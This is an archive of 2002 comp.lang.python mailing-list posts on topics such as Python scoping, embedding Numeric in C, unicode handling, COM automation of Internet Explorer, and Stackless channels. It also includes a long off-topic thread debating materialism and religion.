Hudson wrote: > Christian Tismer writes: [longobject] >>Although this was on the table two or three years ago, > > I know. I remember. That thread was probably the first place I heard > of Karatsuba multiplication... > >>and dissed as well, although cheap to implement. > > I don't think it got dissed; as I recall Tim and yourself slung Python > versions around for a bit and then said "now who's going to translate > this into C for longobject.c?" whereupon the thread died very quickly. You are right, I remember. I think at that time I wasn't yet able to write C extensions. (Maybe, or evenly properly was too lazy :) > Cheers, > M. > PS: longobject.c is surely the most horrible bit of source in the > Python distribution. I certainly wouldn't want to hack on it. I don't think so. It took me much shorter to understand than ceval.c ... ciao - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From ny_r_marquez at yahoo.com Wed May 1 16:32:43 2002 From: ny_r_marquez at yahoo.com (R.Marquez) Date: 1 May 2002 13:32:43 -0700 Subject: Downloading pages from a Windows Intranet References: <8a27e309.0204290708.1061659@posting.google.com> Message-ID: <8a27e309.0205011232.6011083@posting.google.com> Would it help to know that I am trying this in NT4 using Python 2.2.1 and Win32all-146 package? Oh, and I meant DispatchWithEvents, not DispatchWithEvents. Does this work for any one? Thanks. ny_r_marquez at yahoo.com (R.Marquez) wrote in message news:<8a27e309.0204290708.1061659 at posting.google.com>... > After taking a look at my options (and considering my humble state of > expertise) > I decided that the easiest route for me to work around the > authentication issue was to use COM to control IE. It worked. > Using win32com.Distpatch to navigate to the pages works well for my > needs inside our intranet. > > However, trying to use DispatchWithEvents (to make a more generic way > of waiting for a page to load for use outside our intranet) has given > me problems. > > As suggested, I created a simple class to recieve the events. > Something like: > > class IEEvents: > def OnBeginDownload(self): > print "Download began" > def OnDownloadComplete(self): > print "Download completed" > def ... > > Then, when I try this: > > import win32com.client > ie = win32com.client.DistpatchWithEvents('InternetExplorer.Application', > IEEvents) > ie.Navigate(someurl) > > I see that the OnBeginDownload event gets fired, but that is it. IE > seems to be help up by something so that it can not complete the > Navigation. If I kill Python at that point, IE proceeds to finish the > download of the page and displays it. Any suggestions? > > (PS: I stil hope that one day someone savy enough with the use of > calldll will be able to make a module to control the WININET.DLL and > share it with the rest of us. :-) From quitelikely at yahoo.com.au Thu May 2 21:17:26 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 03 May 2002 11:17:26 +1000 Subject: Python vs. Perl, which is better to learn? References: <826628efe5.fsf@acropolis.localdomain> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> <82znzjsw6k.fsf@acropolis.localdomain> <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> Message-ID: <82u1pqkp21.fsf@acropolis.localdomain> "Steve Holden" writes: > "Patrick W" wrote ... > [...] > > > So, what you seem to be saying is that I should have stuck with Algol 60, > PLAN, PL/1 and IBM 1130 assembly language? Yeah, maybe "a lifetime" was a bit of an exaggeration. > There is something in what you say, but I would prefer to think that one > moves to a new language precisely because it does offer better wasy of using > fundamentally new paradigms. If someone wants to use object-oriented > techniques they would be hard-put to graft them onto (say) Algol 60. This argument works both ways depending on which language you choose as an example. As you say, it would be hard to program in a "modern" OOP style in Algol 60, but it's done all the time in the Lisp family, which is older than Algol. In fact it's done in ways that _still_ haven't found their way into the mainstream (but probably will one day, packaged up and sold as something "innovative", or even "revolutionary"). Obviously, new languages and dialects are sometimes necessary to support new paradigms, but I argue that it's _necessary_ less often than it's _done_. I'm not trying to be awkward though. I take your point. How about we reduce "a lifetime" to "15 years or so" (without wishing to send anyone to an early grave?) ;-) > Another problem, of course, is that often times the learner has no choice, > or is badly guided, and then has to change anyway. Plus, of course, changes > of job can mandate changes of language. Yeah, that's why I left slot (4) vacant. Sub "whatever else turns you on" for "whatever pays the bills" if you must. > [C, C++] I think it's dangerous to equate these two languages, as > despite C++ being a superset of C it contains many things, and > implements many concepts, which C does not. I regard them as being > fundamentally different: C is a sort of high-level assembly > language, whereas C++ is a Swiss army knife. No, you misunderstand me. I wasn't equating them. I listed them as examples of languages that permit low-level, minimal-overhead, systems level programming. The fact that C++ crosses several categories doesn't exclude it from this one. > Not all languages extend easily. [...] Aye, there's the rub. As a general rule though, I still think it's better to choose carefully and go for reasonable combination of depth and breadth. The main guts of my argument is that it leaves more time for learning important concepts. If the need arises to change languages, those concepts will still be around. From spam at fisher.forestry.uga.edu Tue May 21 17:52:54 2002 From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck) Date: 21 May 2002 14:52:54 -0700 Subject: Embedding a Numeric array in C References: <3CE9D56C.1090007@attbi.com> Message-ID: Thanks for the help ... well, I now thave the following code: #include #include static PyMethodDef numpy_methods[] = { {NULL, NULL} }; int main() { PyObject *pmod, *pdict; PyArrayObject *parray; char *debug; int dimensions[1]; Py_Initialize(); debug = "foobar"; pmod = Py_InitModule("Numeric",numpy_methods); import_array(); printf("%s\n", debug); pdict = PyModule_GetDict(pmod); printf("%s\n", debug); dimensions[0]=10; parray = (PyArrayObject *)PyArray_FromDims(1,dimensions,PyArray_DOUBLE); printf("%s\n", debug); return 0; } However, this segfaults at the PyArray_FromDims() call. Clearly I am missing the boat here somewhere. I also do not see how I can use the Numeric module without calling Py_InitModule(). Thanks. cjf Pete Shinners wrote in message news:<3CE9D56C.1090007 at attbi.com>... > Chris Fonnesbeck wrote: > > I am trying to find out how to properly embed a Numeric array type in > > C. The following code compiles, but segfaults when run: > > > > #include > > #include > > #include > > > > int main() { > > > > PyObject *pmod; > > char *cstr; > > Py_Initialize(); > > > > pmod = PyImport_ImportModule("Numeric"); > > Py_DECREF(pmod); > > return 0; > > > > } > > in your "init" function, you need to make a call to "import_array()". > import_array is actually a 'magic macro' that does a sort of "runtime > linking" in python. if you do not make this call, all the C functions from > Numeric will only be NULL (and hence a crash) > > no need for the PyImpoert_ImportModule() From emile at fenx.com Thu May 2 08:28:28 2002 From: emile at fenx.com (Emile van Sebille) Date: Thu, 02 May 2002 12:28:28 GMT Subject: Resources and non-exhausted generators References: Message-ID: Hamish Lawson > I've written a generator (slightly modified below) that returns results > from a database. Normally this is intended to be run from a for-loop > that will exhaust the produced results. However it occurred to me that > if the generator is not run to completion, then the cursor and > connection will not get properly closed. I can't see any way to do this > using a generator Since you're doing a fetchall, couldn't you restructure to fetchall and cursor.close before iterating? -- Emile van Sebille emile at fenx.com --------- From aleax at aleax.it Sat May 11 06:36:57 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 12:36:57 +0200 Subject: Scope in 2.2.1 In-Reply-To: References: Message-ID: On Saturday 11 May 2002 11:38 am, David LeBlanc wrote: > Alex; > > Thanks for your comments. > > I am confused by the last part though: you say that "bar2 += 1" is a > reference before a rebinding or alteration of an already bound variable. > Well, bar2 _is_ already bound by the logic you used in the discussion of > bar in the print statement! It's not yet bound in fee's scope : since it's subject to a binding operation in fee, it's a local variable of fee. Name 'bar2' IS bound in other scopes, but that's irrelevant, since a local variable hides all other homonyms. > What would happen if, instead of "print bar", it said "bar += 1" or "print > bar++"? As python works now, it would seem that "bar += 1 is an error, but > i'm not sure about bar++, since it's a post-fetch increment. It seems This would give a SyntaxError before any scoping issues get raised:-). > inconsistant to me that a reference (without modification) finds an outer > binding in a print statement, but an implicit (attempt to) reference in a > plus-equals is an error. The "reference (without modification)" would find nothing at all if there WERE binding operations on that name anywhere else in the block. You quoted the rule, and it's very simple: are there binding operations on that name in this block? If so, it's a local variable of the block, and no attempts in this block to reference that local variable will ever 'find' anything but that local variable. > It only makes sense to me to not use foo.bar2 within fee() if there's a foo.bar2 is not "the local variable bar2 of function foo" -- it's an attribute named bar2 of object foo. Local variables are not attributes of any such object. If several calls to a function are simultaneously active, each has its own set of locals, quite separate from each other -- but if the function object has an attribute bar2, that's quite independent from any calls to the function, whether there be active one, none, or several. > local bar2 or a "global bar2" (which would then have to refer to a global > bar2, not foo.bar2 no?). As you say, "+=" is a reference and rebinding (if > that's the appropriate terminology). Since the reference comes before the > rebinding, the nearest pre-existing binding of bar2 ought to be used. I Nope. When 'x' is a local variable of the block, ALL uses of 'x' in the block are uses of that local variable. > think this is a bug! I think it at least violates the principle of least > surprise :-) Having the same name refer to completely different scopes in such uses as: def outer(): x = 23 def inner(): for i in range(2): print x x = 45 would do more than surprise me -- it would utterly ASTONISH me. The 'x' in "print x" needs to be compiled into one kind of reference -- what kind will it be? Python chooses "the local variable of inner", since it sees that inner has a local variable of that name. Ignoring the local variable altogether would be astounding, as would be using the non-local on one leg of the loop and the local on the next. When nested lexical scopes were about to be introduced, I suggested we adopt Java's rule: it's illegal to "shadow" a variable of an outer block by a homonym in an inner block. I thought and still think that this is a reasonable rule -- unfortunately almost nobody agreed, and so we have these situations in which there's just no way out from astonishing SOME people, it seems. With the shadowing-forbidden rule, the compiler could give clear error messages about violations (at least for inner vs outer, unfortunately not for globals, for backwards compatibility at least, but also because the compiler can have no idea of what global names will be bound at runtime, while locals _are_ under the compiler's control). > Maybe the appendix would make more sense as: > > "If a name binding operation occurs anywhere within a code block, all uses > of that name within the block are treated as references to that binding. They're not necessarily references to THAT binding -- not in the sense in which Python uses 'binding'. def f(x): if x==23: x=45 print x the x in the print may reference either the same binding as given by f's caller, or the binding to 45. It IS certainly a reference to the *local variable* named x, but what binding of that local variable applies, it's anybody's guess. "scoping" might be a useful neologism here. > This will lead to errors when a name is used within a block before it is > bound." It sure will, and even that's not saying enough: def f(): x = 45 print x del x print x the second print WILL say something about "before being bound", but we can see it's a lie -- x WAS bound earlier, and will NOT be bound later, so "before" is clearly inapplicable here. Pretty hard to document this or find the perfect error message, though. Alex From fperez528 at yahoo.com Fri May 17 18:29:12 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Fri, 17 May 2002 16:29:12 -0600 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> Message-ID: James J. Besemer wrote: > Actually Denis seemed to be suggesting that sets themselves should be > immutable so they could Serve as dictionary keys. I think it's very > plausable that sets would be used in this manner.. I beg to differ. Mathematically, there's nothing in the idea of a set that makes it immutable. I know that Python is not a mathematics-only language, but much of the cleanliness of its design does come from following abstract ideas as much as is reasonable. And enforcing immutability on a set is one hell of a breakage for an object as basic to many mathematical ideas as a set is. I guess if you want to insist on sets being usable as keys you might come up with a pair of set-like types just like we have lists/tuples. But if sets are ever going to be part of the language, _please_ don't make them immutable. In my mind, that's like saying that you add integers to a language but you can't do arithmetic with them ;) Cheers, f. From cliechti at gmx.net Thu May 9 17:03:55 2002 From: cliechti at gmx.net (Chris Liechti) Date: 9 May 2002 23:03:55 +0200 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) wrote in news:slrnadlmm2.5kg.huaiyu at gauss.almadan.ibm.com: > Out of curiosity: If a character is two bytes, what would len() > report? If s is a unicode string with wide characters, would list(s) > be made of characters or bytes? Would that be different under the > current situation, or the PEP 263, or under Stephen's proposal? Would > it change depending on how the unicode is encoded? we have an interactive console: >>> len(unicode("hello")) 5 len gives you the number of characters no matter how many bytes are needed to represent them. >>> list(unicode("hello")) [u'h', u'e', u'l', u'l', u'o'] so you get a list of unicode characters. > A list of such simple questions and answers for various proposals > would help many more people to understand the relevant PEPs. i think most of that get's clear when you play around with the current python and its unicode handling so that it does not need a special mention. chris -- Chris From somebody at nowhere.com Mon May 27 07:32:58 2002 From: somebody at nowhere.com (Sean Richards) Date: Mon, 27 May 2002 11:32:58 GMT Subject: ncurses python2.2.1 Message-ID: Hi, Having a few problems compiling python2.2.1 with the curses module. Running Slackware 8.0. Uncommented the appropriate line in Modules/Setup and ran ./configure, make etc. However when I test the curses module it gives the following error: sean:~/packages/Python-2.2.1$./python ./Lib/test/test_curses.py Traceback (most recent call last): File "./Lib/test/test_curses.py", line 204, in ? curses.wrapper(main) File "/home/sean/packages/Python-2.2.1/Lib/curses/wrapper.py", line 44, in wrapper res = apply(func, (stdscr,) + rest) File "./Lib/test/test_curses.py", line 198, in main module_funcs(stdscr) File "./Lib/test/test_curses.py", line 143, in module_funcs curses.curs_set(1) _curses.error: curs_set() returned ERR Been googling for a few hours now but have not really found any obvious solution. Any help on this would be great. Cheers, Sean From shalehperry at attbi.com Wed May 29 19:56:55 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 29 May 2002 16:56:55 -0700 (PDT) Subject: daemon dies on xterm kill In-Reply-To: Message-ID: On 29-May-2002 John Hunter wrote: > > I am trying to write an xmlrpc server daemon. When I 'exit' the xterm > that I launch the daemon in, the exit never completes and I still get > output from the server about connection attempts, though I lose my > prompt. This occurs whether I launch the program w/ or w/o nohup in > the background. I am trying to launch it as a regular user, not > root. Is there something wrong with my daemon code or the way I am > launching it: > xterm is still the controlling terminal because you never dropped it. From jhe at webde-ag.de Wed May 29 05:20:51 2002 From: jhe at webde-ag.de (Jürgen Hermann) Date: 29 May 2002 11:20:51 +0200 Subject: No parsers found... References: Message-ID: <921D7A043jhewebdeagde@194.45.170.159> shagshag13 at yahoo.fr (Shagshag13) wrote in : >I'd written a script which use a dom parser, try to use it on a HP-UX >system and here is what i get: Try to install PyXML (pyxml.sf.net), which includes expat & xmlproc. From pereira at cis.upenn.edu Mon May 20 17:14:05 2002 From: pereira at cis.upenn.edu (Fernando Pereira) Date: Mon, 20 May 2002 17:14:05 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! In-Reply-To: <3CE8AB0A.3090905@tismer.com> Message-ID: On 5/20/02 3:51 AM, "Christian Tismer" wrote: > This is where I stumbled. For me, it was only one > task, waiting for multiple channels. But well, this > was just a special case of PAR which I saw in LIMBO. > Limbo has a special case where you wait on an array > of channels, all for input. I'm a bit confused here. There is no PAR in Limbo, just ALT alt { channel-expr1 => statement1; channel-expr2 => statement2; ... } The special case you mention is a channel-expression in which the channel is actually an array of channels of the same type, which is a special case of the above: perform the channel-expression with the first element of the array to be ready. > The more general case has different code for every > branch, and these code pieces appear to be again > tiny tasks, right? I agree that it's overkill to create tasks for all the branches of an ALT, which would be required in a direct implementation of the Cardelli scheme I referred to. > Since I thought of the special case of one task > waiting for multiple channels, all in the same > manner. In the more general case, with a large > ALT construct, syntactically like a case, I > expect this is done with as many small tasks, > together with guards, and then I can imagine > to arrange these tasks in groups per channel. In Cardelli's scheme (the first paper I mentioned, not the C# one) ALT and PAR are implemented in almost the same way. The only difference is that all the communication requests coming from the guards in the ALT are put in a mutual exclusion pool. This scheme is very general is that it doesn't assume single readers or writers on channels, or immediate matching of read and write requests (thus each channel may have multiple pending reads and writes queued up). -- F From garth at deadlybloodyserious.com Sun May 12 20:36:36 2002 From: garth at deadlybloodyserious.com (Garth T Kidd) Date: 12 May 2002 17:36:36 -0700 Subject: Conditional compilation References: <3cdbb641_2@news3.newsgroups.com> Message-ID: <4c877253.0205121636.72067c82@posting.google.com> > It does not seem to be possible to "comment out" blocks of code, which would > be a very nice feature for testing purposes. (Maybe I can do it with """ > but that looks a bit cumbersome.) > > Any ideas, hint, proposals? One thing I love in UserTalk (of Frontier, Manilla and Radio UserLand fame) is the 'bundle' keyword that simply provides another variable scope and bundles up a few lines of code. In the Frontier/Radio environment all programming is done in an outliner, and bundling turns out to be a whole lot nicer than it originally looks -- so much so, that these days I curse as much about there being no 'bundle' in Python as I do about most Python features lacking in UserTalk. :) Compare:: # do this ... code to do this # do that ... code to do that With:: bundle # do this ... code to do this bundle # do that ... code to do that I'm almost tested to hack it: if 1: # do this ... code to do this ... but that's a little ghastly. If I could figure out a way to add a keyword in pure Python, I'd do it. :) Regards, Garth. From martin at v.loewis.de Sun May 19 07:10:26 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 19 May 2002 13:10:26 +0200 Subject: extending w/o creating a new module?? References: Message-ID: "Johan Hahn" writes: > Is there a more dynamic way of binding functions in python to C than to > create a PyMethodDef and use it when creating a new module with > PyInit_InitModule ??. Certainly. You just need to create the function objects yourself. > I would like to add the function send(text) to an existing python module > (b4.py) and have that function call the C function: > static PyObject* sendc(PyObject* self, PyObject* args) > { > /*...*/ > } I'm not sure I understand that desire. b4.py is a pure-Python module? You surely need some C module as well. Lets call it _b4. By "add the function ... to ...", I understand you want that b4.sendc() calls your code in _b4. To do that, define a normal function in _b4, using the standard PyMethodDef approach. Then, inside b4.py, write from _b4 import sendc > My attempts so far are failing because I can't create a PyFunction > object that I can pass to PyObject_SetAttrString(b4, "send", ?) as > the last argument. There is no documentation for PyFuntion_New and > as I understand it takes a code object. And to create a code object > that binds to a c-function seemed like a dead end. Ah, so you want to achieve that without modifying b4's source code? Then, do py_sendc = PyObject_GetItemString(_b4, "sendc"); PyObject_SetAttrString(b4, "send", py_sendc); Py_DECREF(py_sendc); where _b4 is the module object of _b4. > Am I missing something? Most certainly. More importantly, it seems we are missing a precise description of the problem. Regards, Martin From loewis at informatik.hu-berlin.de Fri May 3 10:53:29 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 03 May 2002 16:53:29 +0200 Subject: international coding - SOLUTION References: <8sp4du0kegdh5ld96j8qu18dnra9ss8sqn@4ax.com> Message-ID: Jaros?aw Zabie??o writes: > utf8Txt = u"""a\u0105 c=\u0107 e\u0119 l\u0142 n\u0144 o\xf3 s\u015b > z\u017c x\u017a""" This is a terminology problem - the text is not "utf-8"; it is a "Unicode object". "UTF-8" is an encoding, just like cp1250, or mac-latin2. To go from a Unicode object to UTF-8, do really_utf8Txt = utf8Txt.encode("utf-8") utf8Txt = unicode(really_utf8Txt, "utf-8") Regards, Martin From jb at cascade-sys.com Fri May 17 16:12:05 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 17 May 2002 13:12:05 -0700 Subject: OT: Crazy Programming References: Message-ID: <3CE56415.98C82B4B@cascade-sys.com> Christopher Encapera wrote: > All instruments, and all > measurement, depend on one of the five senses (sight, sound, taste, touch, > smell). [...] Thus, no matter how > accurately/extensively/etc. you sense the shadow, you never get closer to > the REAL itself One problem with the Plato example is that it implies that our perception is so much terribly worse than it actually is. You could argue all we really see is shadows because in fact all we really DO perceive are photons that are reflected or emitted from objects in our field of view -- not the objects themselves. Or else we perceive electrochemical impulses from our finger tips, not the actual atoms from the object itself. However, this is a lot different and less limiting than the indirect shadows Plato describes in his ANALOGY. Our perception of the real world is actually pretty high fidelity on a lot of matters. Even though still limited with my same old physical senses, I can definitely measure an object better with a ruler than by just looking at it, and better still with a micrometer than with a ruler, and (where applicable) even better with an optical interferometer. Telescopes, microscopes and televisions allow me to observe phenomena that otherwise would be invisible to me. While it is true, there may exist planes of reality which lie beyond our perception (e.g., sub atomic physics, the origin of life, global weather), that's not to say that tools don't bring us closer to reality nor that that the underlying objective reality does not exist. The fact that some 'objects' are so impossibly complex that we are unable to understand them and perhaps never will does not deny the actual reality. I suppose you could argue that all we perceive is an illusion and that we can trust nothing of our senses. This is like when I was a little kid, I suppose like most, I often feared that some monster would attack me in my bed. I finally put those fears to rest once and for all by deciding that if by some perverse twist of fate it turned out that I did in fact live in a universe where monsters ate little boys in their bed then I'd have no choice but to accept it. Meanwhile, since there's no evidence that supernatural monsters exist I'll proceed fearlessly as if they do not. I'll listen to arguments but to date I've never heard a compelling one that reality is an illusion. > [...] domain of the 'spiritual'. As an affirmed Atheist I will strive to tread carefully here so as not to give offense. > Hope, Love, the human soul, etc, are by > their nature not amenable to measurement by the senses, I disagree. To pick one: many aspects of Love can be described in terms mating behavior, to which humans are genetically, instinctually disposed. This involves many glandular and hormonal reactions that make the situation unique and singularly exciting and pleasurable. Within the scope of a mating relationship there are many powerful behavioral reinforcements that encourage 'fidelity' and a long term relationship. And those individuals who don't experience many or any other sexual partners will associate all the sexual pleasure with their one 'lover'. Like most mammals, humans also like to cuddle and prefer to not sleep alone if we have a choice. [We have the cutest little pet rats and they always sleep closely snuggled together, even though they're sisters. They exhibit a surprising number of other human like behavior.] Humans are genetically disposed to love their children and in normal circumstances they're so sweet and cute when they're little it's virtually impossible not to 'love' them. Little copies of yourself and your one true 'love'. What's NOT to 'love'? Social mores further support and encourage mating for life. E.g., the institution of marriage presents a hysteresis so that it is not entered into or abandoned as lightly as it might otherwise. The practical negative consequences of incest, promiscuity and certain perverse acts created a culture of 'taboo' about said practices (for most of our history, if not anymore). It's easy to believe that prehistoric tribes who adopted those taboos had a survival advantage over tribes who indulged in the practices. Although I can talk about it, and I argue that it's entirely deterministic and mechanical at bottom, the totality of the human experience of 'love' is mysterious and incomprehensible to humans themselves. I think most human behavior is fundamentally incomprehensible (at least to intellects as limited as ours are). There's this tiny bacterium somewhere where I hear humans have mapped and understand the relationship and function of each and every nucleotide of it's DNA. That's the one example (for argument's sake) of a life form that humans completely understand. State of the art of human's understanding of another life forms behavior. I figure it would take an intelligence similarly larger than our own to completely understand humans. There might be some aliens with the right equipment somewhere in the universe, I dunno. But the fact that it's incomprehensible in its totality to us does not deny the underlying reality. Meanwhile, I freely and blithely Love my wife and children and others close to me. When I try to understand Love I get the 'scientific' and 'objective' answer above. But it doesn't detract at all from the experience for me to 'know' that much of my behavior is pre-programmed or determined by external influences. Experiencing Love is completely unrelated to any intellectual attempt at understanding. Say La Vee. Similarly I could argue your other examples. > and thus will never > be understandable, provable, etc. to the materialist mind. Yes. I suppose by definition, if you can't prove it to me then my materialist mind will reject. [If you do have any 'proof', I'd very much like to hear it.] The way I look at it, the universe is basically incomprehensible. So is the world, even simply the town we live in is more than any person can fully comprehend in every detail. The intricacies of our bodies and vast portions of our own behavior are beyond the realm of our objective understanding. Fact of the mater, most of what there is to know is beyond our comprehension. But everywhere we look, the reality is there, reinforcing the notion that there's always more and more we don't know about the universe. And then--there's the biggest question of all, the question of our ROLE in the universe. Why are we here? As I said, all of this is basically unknowable, and I simply shrug it off as such. I'm just a tiny, momentary speck in the universe, why should I PRESUME to have all the answers or even know somebody who does? For eons the earth was too hot to sustain life and soon it'll be too cold. For that brief moment in between when life briefly fizzes on the surface -- here I am in the middle of it. Why? Is no why. Like in Mad Max: "Plan??!! Ain't got no plan!!" I can live with that. Other people react by not being able to stand the unknown and they wrap all this all up nice and neat into a religion -- for all that is unknowable they insert a magical, spiritual answer that makes everything, in a way, once again 'knowable'. We don't have all the answers but God surely knows, or it's all part of God's plan, so we don't have to worry about it. God is the big independent variable that lets everything else balance out. If I sound disrespectful I don't mean to. Some people need their faith, I know they're sincere and I respect that. For all I know they're right and I'm going to burn in hell for all eternity along with Bill Gates. But as an intelligent person, one who was raised to be religious, one who's heard and weighted all the evidence and all the arguments, I simply don't find the slightest excuse to believe in any kind of a spiritual world. > Fortunately, the > search for truth, which is at the bottom of the scientific method, is not > restricted to materialist notions of reality. Unfortunately, today the > domain of the "Scientific community" and "Dogmatic philosophical > materialist" overlap, to a very high degree (98, 99%?). This leads to > unfortunate consequences for the search of truth, namely it obstructs/delays > it. Clearly, I'm one of the dogmatic scientific philosophical materialists. ;o) We rather believe superstition and belief in the supernatural is what obstructs/delays the discovery of Truth. > Let me cite an example from my own experience: As an undergraduate > psych major, I noticed that standard psychological theory (which is > materialist to the core) could not explain why Alcoholics Anonymous happens > to be the most effective treatment for alcoholism. Every attempt to > understand/study/explain it by psychologists either ring hollow, or they > themselves admitted were weak. The answer is obvious to a non-dogmatic > materialist - AA admits and works with a non material side of man - namely > the spiritual. One day in class I brought this point up and the embarrassed > professor said something to the effect of "well, that is not what we do > here". Bad psych. professor. First off, in all fairness, it's hard for him to know how to begin to explain off hand how AA works without his having studied it carefully. Probably he knows nothing about AA and was dumbfounded by your question. Actually, I think modern psychology and science generally can explain AA's success quite nicely without resorting to the spiritual. I think key is that AA simply provides a safe haven for people to come an seek help without being judged. They actively recruit and welcome members at a time when alcoholics are feeling rejection from their friends and loved ones. AA is the original 'support' group. "I've been where you're hanging and I think I can see how you're pinned." Hearing stories about others suffering similar consequences (or worse) is plain old good therapy to avoid continued decay or future relapses. Seeing examples of successful outcomes and model good behavior is bound to shape behavior for the better. Sharing info and educating people about their disease in a non confrontational manner can only help. Individuals are encouraged to tell their story and through participation are given a sense that they're actually helping other newcomers. This reinforces good behavior and also serves as it's own reward (feels good). I was never a psych major but I see quite a few things about the overall nature of AA that would reinforce behavior improvement. I know that a central tenant of AA is accepting some higher power's authority over one's self. However, the importance and efficacy of this is suspect. Over the decades AA's own message has been diluted somewhat from where that higher power originally was the traditional "American" western (judeo-) christian Jalwah to where now it's some arbitrary and rather non-specific higher power ('say, your community'). Fact of the matter, nowadays there are some alternative substance abuse programs that are equally effective to AA without bringing spirituality into the matter. They tend emphasize a similar but substantially different message: that one accepts responsibility for one's own behavior. Curiously, this is basically an atheist, existentialist philosophy, though it has practical implications similar to the spiritual message. So, the fact that AA is effective and the fact that AA happens to include a spiritual message does NOT establish that the spiritual message is a necessary part of the cure. Further, there is evidence to suggest that it is irrelevant. One of the most important lessons I took away from my college psych classes was the notion of 'superstitious behavior'. It turns out that creatures sometimes adopt certain behavior out of a false sense that it's relevant to some reward. The classical experiment is pigeons are fed at intervals that are determined by a timer, regardless of any behavior on their part. Turns out that this situation can accidentally reinforce some particular pigeon behavior, as the pigeons evidently wrongly associate the behavior with the reward. E.g., the pigeon would 'learn' to hop side to side for food even though the behavior had nothing to do with getting fed. (http://psychclassics.yorku.ca/Skinner/Pigeon/) This made a big impression on me and ever since I have come to view a significant fraction of human behavior in these terms. Certainly, superstitious behavior offers a possible explanation of religious beliefs in humans, one I'd consider certainly plausible. Personally, I subscribe to the "Life of Brian" explanation of the origin of religion. In Biblical times (and earlier), tribes in the middle east ('cradle of civilization') and all over the world were a bubbling ferment of all different sorts of mystical ideas and faiths. Look at all the peagan gods and practices of the Greeks, Romans, Egyptians, etc. Some tribes adopted religious beliefs that reinforced 'good' practical, behavior such as love thy neighbor, don't steal from him and don't try to boink his wife. At the same time the religion included mystical and spiritual tenets that had nothing to do with anything. Nevertheless, the religion altogether included practices that gave the 'faithful' tribes a survival advantage over competing tribes that adopted 'pagan' beliefs. As time went by, these successful tribes spread their practices to others and certain religions became dominant in different parts of the world. People to this day continue to engage in purely superstitious religious behavior as a side effect of the survival value of those early moral systems. I take as evidence of this theory the fact that many of the same, aforementioned practical moral tenants are shared by most religions world wide, while the superstitious aspects vary radically. E.g., Judeo-Christian's single, fairly harsh god, heaven and hell vs. Buddhist's jolly primary deity and reincarnation (to greater or lesser future lives), vs. Hindu's many gods and paths to 'enlightenment,' vs. Shinto's ancestor worship and afterlife-through-progeny. > He was right, the spiritual can never (by definition) be part of a > materialist understanding. Then the question is does the spiritual ever really add anything to our understanding of REALITY? I don't deny that religion makes many people happy and it fills an important role in billions of peoples' lives. But does it really add to our understanding in an objective and widely agreed upon way? > The domain of > Truth is larger than the domain of 'the material', even in such a small part > of the universe as a single human person... Darn. I KNOW I disagree with you here but it's hard to disagree with your words. So instead I'll explain how I AGREE with the words and thus demonstrate how I disagree with what you mean. ;o) I agree the domain of truth is larger than the material, as Truth necessarily includes impossible abstractions such as Euclidean Geometry and popular works of science fiction (not that the fiction is truth but that as literary works they manifest themselves primarily as are intellectual rather than physical items in our reality). I furthermore agree that Truth is more than we can understand, simply because it is so friggin' big. Finally, I agree there are strict limits to Truth. Kurt Godel proved this in the 30's: any axiomatic system will include true theorems which cannot be proven from the axioms. And if you add axioms to include the theorems, there will still be other theorems which are impossible to prove true. > (: repeat after me, "I am not > merely a brain, I am not merely a brain" ;) Repeat after me: "Blessed are the Cheese Makers." ;o) Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From marklists at mceahern.com Mon May 6 10:38:24 2002 From: marklists at mceahern.com (Mark McEahern) Date: Mon, 6 May 2002 09:38:24 -0500 Subject: Python vs. Perl, which is better to learn? In-Reply-To: <3CD623A7.4EE48B14@engcorp.com> Message-ID: [Peter Hansen] > More out of curiosity than an intention of starting a flame war, but > would someone post a snippet of twenty or so lines of Perl which they > believe is "readable"? Does anyone know of research into what the criteria for readability might be? // mark From msoulier at nortelnetworks.com_.nospam Wed May 22 09:36:07 2002 From: msoulier at nortelnetworks.com_.nospam (Michael P. Soulier) Date: 22 May 2002 13:36:07 GMT Subject: Is python really slow? References: Message-ID: On Tue, 21 May 2002 20:34:01 -0500, Mark McEahern wrote: > For what it's worth, the OP might want to check this out: > > http://www.bagley.org/~doug/shootout/ ?? How did Java score higher than Python? Any use for Java I've tried it's been incredibly slow. Mike -- Michael P. Soulier, QX41, SKY Tel: 613-765-4699 (ESN: 39-54699) Optical Networks, Nortel Networks, SDE Pegasus "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From pcc at ecet.vtc.edu Sun May 26 12:06:51 2002 From: pcc at ecet.vtc.edu (Peter) Date: Sun, 26 May 2002 12:06:51 -0400 Subject: Destructor References: <838z68lh42.fsf@panacea.canonical.org> Message-ID: In article <838z68lh42.fsf at panacea.canonical.org>, kragen at pobox.com says... > My experience with C++ was that the standard (or, anyway, the draft > standard) was not very helpful for those who want to know what is and > is not portable behavior, because no implementation implemented the > standard correctly. I heard a rumor that now, four years after the > standard was ratified, there might be a compiler that complies with it > --- is that true? Current incarnations of C++ compilers usually have a decent degree of conformance at this point. I doubt if there is any compiler that conforms completely, but you could probably say the same thing about any language standard --- especially for a language as large and complex as C++. I haven't 